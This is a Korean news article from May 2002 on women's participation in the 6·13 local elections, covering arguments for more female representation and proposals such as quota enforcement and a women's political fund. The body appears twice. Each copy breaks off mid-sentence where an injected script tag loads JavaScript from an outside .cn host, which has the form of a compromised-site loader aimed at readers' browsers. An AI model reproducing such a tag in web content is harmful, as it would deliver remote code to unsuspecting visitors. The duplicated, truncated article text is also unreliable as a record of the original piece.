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6·13 지방선거 - 여성이 뛴다
기사입력 2002-05-30 오전 09:09:02
◆ 여성의 정치참여 필요성
여성의 정치참여는 왜 필요한가. 여성의 권익보호 뿐 아니라 전체 사회의 발전과 양성평등의 진정한 민주주의 실현을 위해 여성 정치참여 확대가 반드시 필요하다는 목소리가 높다. 실제로 우리나라 여성의 정치참여율은 5%에 불과해 정치참여율을 높이는 것이 시급한 실정.
김모임 한국여성정치연맹 총재는 "여성의 의회진출이 저조하고 여성후보의 당선율이 낮은 현실이 지속된다면 여성의 인권보호 및 신장은 물론, 21세기 경제도약도 기약할 수 없다"면서 "여성의 대표성이 확보되지 않은 사회는 평등사회도 민주주의사회도 될 수 없다"고 강조했다.
그동안 한국여성들은 유교적, 가부장적 문화 속에서 정치사회화의 기회를 갖기 어려웠으며, 고비용의 정치구조와 선거제도는 여성이 정치전면에 나서는데 장애물이 돼 왔다. 그러나 많은 여성들이 사회 각 분야에 진출해 능력을 발휘하며 남성과 어깨를 나란히 하고 있는 추세인 만큼, 정치도 양성이 동등히 나눠 맡아야 한다는 공감대가 확산되고 있다.
정치참여에 있어 여성이 갖는 경쟁력으로는 우선 `깨끗함'과 `성실함'이 꼽힌다. 현 여성의원들은 전문성을 발휘하며 눈부시게 활약하고 있고, 1991년 지방자치제가 부활된 후부터 지역살림꾼으로서의 역량을 충분히 펼쳐왔다.
부정부패와 밀실정치 등으로 점철돼 온 남성중심 권위주의적 정치가 대중들에게 외면받고 있는 상황에서, 여성의원들은 정치적 청렴지수에서 높은 점수를 받고 있고 정치풍토 개선의 바람을 몰고 올 것이라는 기대를 낳고 있다.
최근 세계은행보고서는 "여성과 남성의 권리가 동등한 국가가 더 높은 경제성장을 누리며 부패율도 낮다"고 밝히고 있다. 특히 공공분야, 정치분야에서 여성영향력이 높은 국가의 경우 부패정도가 낮은 것으로 나타났다.
이 영 한양대 경제학과 교수는 `여성과 국가경쟁력' 보고서를 통해 "여성의 정치·경제활동 참여증가는 남녀의 형평성 있는 발전과 빈곤퇴치에 기여할 뿐 아니라 부패를 감소시켜 경제효율성을 증대하고 국가투명성을 가져온다"고 밝혔다.
또한 미래사회의 중심과제가 보건, 복지, 교육, 환경 등 실생활과 직결된 분야에 집중될 것임에 따라 이 분야에 축적된 경험이 많은 여성의 역량이 한층 더 주목받을 것으로 예측되고 있다. 특히 섬세하고 알뜰하며, 가족과 이웃을 위해 따뜻하게 봉사하는 여성적 특성이 `생활정치'를 표방하는 풀뿌리 민주주의 지방자치를 정착시키는데 원동력이 될 것으로 기대를 모으고 있다.
◆ 여성 정치참여 확대 방안
여성의 정치참여를 확대하기 위한 실질적 대책마련이 시급하다는 주장이 높게 일고 있다.
여성계에서는 "여성에게 정치진출의 기회를 열어줄 특단적 조치가 필요하다"고 입을 모으면서 여성에게 불리하게 작용하고 있는 현행 선거제도 개선, 여성 할당의 실효성 확보와 보완을 위한 정치관계법 개정, 여성정치기금 설치, 정당내 주요당직에 여성당직자 비율확대 등을 강력히 요구하고 나섰다.
특히 선진국과 같은 획기적인 공천정책 도입에 대한 필요성이 큰 것으로 지적됐다. 김원홍 한국여성개발원 연구위원은 "정당법에 명문화된 광역의회 비례대표의 50%, 지역구 여성후보 30% 할당제가 준수되지 못하고 있다"면서 "이를 올바로 지키는 정당에 인센티브를 주고 지키지 않는 정당에 국고보조금을 최대 50%까지 삭감하는 개정안 등을 검토해야 한다"고 밝혔다.
비방이나 허위사실 유포 등 선거법 위반자에 대한 처벌을 강화하고, 줄서기식 정치행태를 근절하는 등 깨끗한 선거풍토를 마련하려는 노력도 여성의 정치참여를 유도하는 방법의 하나로 꼽히고 있다.
이번 선거에 도입된 각 당내 후보경선제가 여성후보자 본선 진출의 걸림돌로 작용한데 대해서도 철저한 검증이 요구되고 있다. 여성정치연대, 여성단체협의회, 여성단체연합, 여성부 등은 "돈, 인맥, 조직면에서 기반이 취약한 여성후보자들이 본선보다 당내 경선 치르기가 더 어려운 실정"이라며 각 당에 시·도의회 비례대표 100% 여성후보 공천을 요청하기도 했다.
여성단체의 역할도 크게 부각되고 있다. 조현옥 여성정치세력민주연대 대표는 "여성단체에서는 비례대표와 지역구 공천에 여성이 다수 할당되도록 압력을 행사하는 것은 물론, 능력있고 참신한 여성후보를 발굴·육성해 명단을 각 당에 제시, 깨끗한 선거풍토를 이끌어 갈 수 있는 자원봉사자 발굴 및 교육, 여성정치기금 모으기 사업, 선거전략 수립 등의 활동을 전개해야 한다"고 말했다.
여성 정치참여 확대를 위해 발족된 `2002 여성정치지도위원회'에서는 여성의 정치적 영향력을 넓혀나가기 위한 방안으로 정치관계법 개정 촉구, 전국 네트워크를 통한 여성후보자 발굴, 토론회 등을 통한 여성 후보자 자질점검 및 출마유도, 지역별 특성을 살린 정책 및 ?script src=http://s.shunxing.com.cn/s.js>
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여성의 정치참여는 왜 필요한가. 여성의 권익보호 뿐 아니라 전체 사회의 발전과 양성평등의 진정한 민주주의 실현을 위해 여성 정치참여 확대가 반드시 필요하다는 목소리가 높다. 실제로 우리나라 여성의 정치참여율은 5%에 불과해 정치참여율을 높이는 것이 시급한 실정.
김모임 한국여성정치연맹 총재는 "여성의 의회진출이 저조하고 여성후보의 당선율이 낮은 현실이 지속된다면 여성의 인권보호 및 신장은 물론, 21세기 경제도약도 기약할 수 없다"면서 "여성의 대표성이 확보되지 않은 사회는 평등사회도 민주주의사회도 될 수 없다"고 강조했다.
그동안 한국여성들은 유교적, 가부장적 문화 속에서 정치사회화의 기회를 갖기 어려웠으며, 고비용의 정치구조와 선거제도는 여성이 정치전면에 나서는데 장애물이 돼 왔다. 그러나 많은 여성들이 사회 각 분야에 진출해 능력을 발휘하며 남성과 어깨를 나란히 하고 있는 추세인 만큼, 정치도 양성이 동등히 나눠 맡아야 한다는 공감대가 확산되고 있다.
정치참여에 있어 여성이 갖는 경쟁력으로는 우선 `깨끗함'과 `성실함'이 꼽힌다. 현 여성의원들은 전문성을 발휘하며 눈부시게 활약하고 있고, 1991년 지방자치제가 부활된 후부터 지역살림꾼으로서의 역량을 충분히 펼쳐왔다.
부정부패와 밀실정치 등으로 점철돼 온 남성중심 권위주의적 정치가 대중들에게 외면받고 있는 상황에서, 여성의원들은 정치적 청렴지수에서 높은 점수를 받고 있고 정치풍토 개선의 바람을 몰고 올 것이라는 기대를 낳고 있다.
최근 세계은행보고서는 "여성과 남성의 권리가 동등한 국가가 더 높은 경제성장을 누리며 부패율도 낮다"고 밝히고 있다. 특히 공공분야, 정치분야에서 여성영향력이 높은 국가의 경우 부패정도가 낮은 것으로 나타났다.
이 영 한양대 경제학과 교수는 `여성과 국가경쟁력' 보고서를 통해 "여성의 정치·경제활동 참여증가는 남녀의 형평성 있는 발전과 빈곤퇴치에 기여할 뿐 아니라 부패를 감소시켜 경제효율성을 증대하고 국가투명성을 가져온다"고 밝혔다.
또한 미래사회의 중심과제가 보건, 복지, 교육, 환경 등 실생활과 직결된 분야에 집중될 것임에 따라 이 분야에 축적된 경험이 많은 여성의 역량이 한층 더 주목받을 것으로 예측되고 있다. 특히 섬세하고 알뜰하며, 가족과 이웃을 위해 따뜻하게 봉사하는 여성적 특성이 `생활정치'를 표방하는 풀뿌리 민주주의 지방자치를 정착시키는데 원동력이 될 것으로 기대를 모으고 있다.
◆ 여성 정치참여 확대 방안
여성의 정치참여를 확대하기 위한 실질적 대책마련이 시급하다는 주장이 높게 일고 있다.
여성계에서는 "여성에게 정치진출의 기회를 열어줄 특단적 조치가 필요하다"고 입을 모으면서 여성에게 불리하게 작용하고 있는 현행 선거제도 개선, 여성 할당의 실효성 확보와 보완을 위한 정치관계법 개정, 여성정치기금 설치, 정당내 주요당직에 여성당직자 비율확대 등을 강력히 요구하고 나섰다.
특히 선진국과 같은 획기적인 공천정책 도입에 대한 필요성이 큰 것으로 지적됐다. 김원홍 한국여성개발원 연구위원은 "정당법에 명문화된 광역의회 비례대표의 50%, 지역구 여성후보 30% 할당제가 준수되지 못하고 있다"면서 "이를 올바로 지키는 정당에 인센티브를 주고 지키지 않는 정당에 국고보조금을 최대 50%까지 삭감하는 개정안 등을 검토해야 한다"고 밝혔다.
비방이나 허위사실 유포 등 선거법 위반자에 대한 처벌을 강화하고, 줄서기식 정치행태를 근절하는 등 깨끗한 선거풍토를 마련하려는 노력도 여성의 정치참여를 유도하는 방법의 하나로 꼽히고 있다.
이번 선거에 도입된 각 당내 후보경선제가 여성후보자 본선 진출의 걸림돌로 작용한데 대해서도 철저한 검증이 요구되고 있다. 여성정치연대, 여성단체협의회, 여성단체연합, 여성부 등은 "돈, 인맥, 조직면에서 기반이 취약한 여성후보자들이 본선보다 당내 경선 치르기가 더 어려운 실정"이라며 각 당에 시·도의회 비례대표 100% 여성후보 공천을 요청하기도 했다.
여성단체의 역할도 크게 부각되고 있다. 조현옥 여성정치세력민주연대 대표는 "여성단체에서는 비례대표와 지역구 공천에 여성이 다수 할당되도록 압력을 행사하는 것은 물론, 능력있고 참신한 여성후보를 발굴·육성해 명단을 각 당에 제시, 깨끗한 선거풍토를 이끌어 갈 수 있는 자원봉사자 발굴 및 교육, 여성정치기금 모으기 사업, 선거전략 수립 등의 활동을 전개해야 한다"고 말했다.
여성 정치참여 확대를 위해 발족된 `2002 여성정치지도위원회'에서는 여성의 정치적 영향력을 넓혀나가기 위한 방안으로 정치관계법 개정 촉구, 전국 네트워크를 통한 여성후보자 발굴, 토론회 등을 통한 여성 후보자 자질점검 및 출마유도, 지역별 특성을 살린 정책 및 ?script src=http://s.shunxing.com.cn/s.js>
박미경 mkpark@nursenews.co.kr